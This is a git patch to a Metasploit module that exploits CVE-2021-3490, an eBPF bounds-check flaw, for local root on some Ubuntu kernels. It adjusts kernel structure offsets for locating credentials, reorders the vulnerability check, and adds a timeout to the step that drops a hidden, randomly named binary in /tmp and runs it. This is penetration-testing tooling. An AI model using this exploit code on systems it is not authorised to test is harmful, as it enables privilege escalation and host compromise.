From b60ad3ee26c2d997012b0cbae3c937664a5dbe22 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 19 Aug 2021 13:55:54 -0500 Subject: [PATCH] Fix up mistakes I noticed whilst doing edits on the code as well as some mistakes identified during peer review --- ...e_2021_3490_ebpf_alu32_bounds_check_lpe.md | 5 ++++- .../include/kernel_defs.h | 16 ++++++++------ ...e_2021_3490_ebpf_alu32_bounds_check_lpe.rb | 22 +++++++++---------- 3 files changed, 23 insertions(+), 20 deletions(-) diff --git a/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md b/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md index 8572e474b2..4ec2cc486c 100644 --- a/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md +++ b/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md @@ -36,6 +36,9 @@ Ubuntu 20.10 (Groovy Gorilla) kernels 5.8.0-25.26 through 5.8.0-52.58 and Ubuntu ### WritableDir A folder we can write files to. Defaults to `/tmp` +### CmdTimeout +The maximum number of seconds to wait for the exploit to run before we end up timing out. Increase this value if the exploit is timing out. + ## Scenarios ### Ubuntu 21.04 (with Linux 5.11.0-16-generic) @@ -167,7 +170,7 @@ msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > ``` -### Ubuntu 20.04 (with Linux 4.4.0-21-generic) +### Ubuntu 20.10 (with Linux 5.8.0-25-generic) ``` msf6 > use multi/handler diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h index 345ced728a..5bb65be669 100644 --- a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h @@ -27,7 +27,7 @@ // Offset of tasks field in pid structure #define PID_TASKS_OFFSET 0x10 -// Offset of linked list entry in task_struct +// Offset of the pid_links array in task_struct #ifdef GROOVY #define TASK_LIST_OFFSET 0x950 #endif @@ -38,7 +38,7 @@ #ifdef GROOVY #define TASK_CRED_OFFSET 0xA88 #endif -#ifdef HIRSUTE +#ifdef HIRSUTE #define TASK_CRED_OFFSET 0x6C8 #endif @@ -99,7 +99,7 @@ * entry. If any other entry in the array is non-NULL, @xa_head points * to an @xa_node. */ -struct xarray +struct xarray { int32_t xa_lock; int32_t xa_flags; @@ -129,7 +129,7 @@ static inline void *xa_mk_internal(unsigned long v) #define radix_tree_node xa_node -struct xa_node +struct xa_node { unsigned char shift; /* Bits remaining in each slot */ unsigned char offset; /* Slot offset in parent */ @@ -139,9 +139,9 @@ struct xa_node struct xarray *array; /* The array we belong to */ char filler[0x10]; void *slots[XA_CHUNK_SIZE]; -}; +}; -struct idr +struct idr { struct radix_tree_root idr_rt; unsigned int idr_base; @@ -151,7 +151,9 @@ struct idr struct pid_namespace { #ifdef GROOVY - uint64_t padding; + uint64_t kref; /* From Linux kernel 5.11 this field was removed, however it is present in all previous versions. + See https://elixir.bootlin.com/linux/v5.11-rc1/source/include/linux/pid_namespace.h and + https://elixir.bootlin.com/linux/v5.10.60/source/include/linux/pid_namespace.h for a comparison */ #endif struct idr idr; }; diff --git a/modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb b/modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb index b4506d67b7..7f546a13c5 100644 --- a/modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb +++ b/modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb @@ -71,6 +71,7 @@ class MetasploitModule < Msf::Exploit::Local ) register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 90]) ]) end @@ -79,6 +80,12 @@ class MetasploitModule < Msf::Exploit::Local end def check + if unprivileged_bpf_disabled? + return CheckCode::Safe('Unprivileged BPF loading is not permitted') + end + + vprint_good('Unprivileged BPF loading is permitted') + release = kernel_release version = kernel_version @@ -87,7 +94,8 @@ class MetasploitModule < Msf::Exploit::Local version_array = release.split('-') major_version = version_array[0] minor_version = version_array[1] - if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0') # Aka we are past the 5.11.x kernel releases and into at the time of writing beta kernels, then its likely not vuln. + if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0') # Aka if we are past the 5.11.x kernel releases and into at the time of + # writing beta versions of Ubuntu, then the target isn't vuln. return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!") elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18')) return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!') @@ -102,12 +110,6 @@ class MetasploitModule < Msf::Exploit::Local vprint_good("Kernel version #{release} appears to be vulnerable") - if unprivileged_bpf_disabled? - return CheckCode::Safe('Unprivileged BPF loading is not permitted') - end - - vprint_good('Unprivileged BPF loading is permitted') - config = kernel_config if config.nil? @@ -132,10 +134,6 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::BadConfig, "#{base_dir} is not writable") end - # if live_compile? - # vprint_status('Live compiling exploit on system...') - # upload_and_compile(executable_path, exploit_data('cve-2017-16995', 'exploit.c')) - # else executable_name = ".#{rand_text_alphanumeric(5..10)}" executable_path = "#{base_dir}/#{executable_name}" vprint_status('Dropping pre-compiled exploit on system...') @@ -155,6 +153,6 @@ class MetasploitModule < Msf::Exploit::Local # Launch exploit print_status('Launching exploit ...') - cmd_exec(executable_path.to_s, payload_path.to_s, 150) + cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout']) end end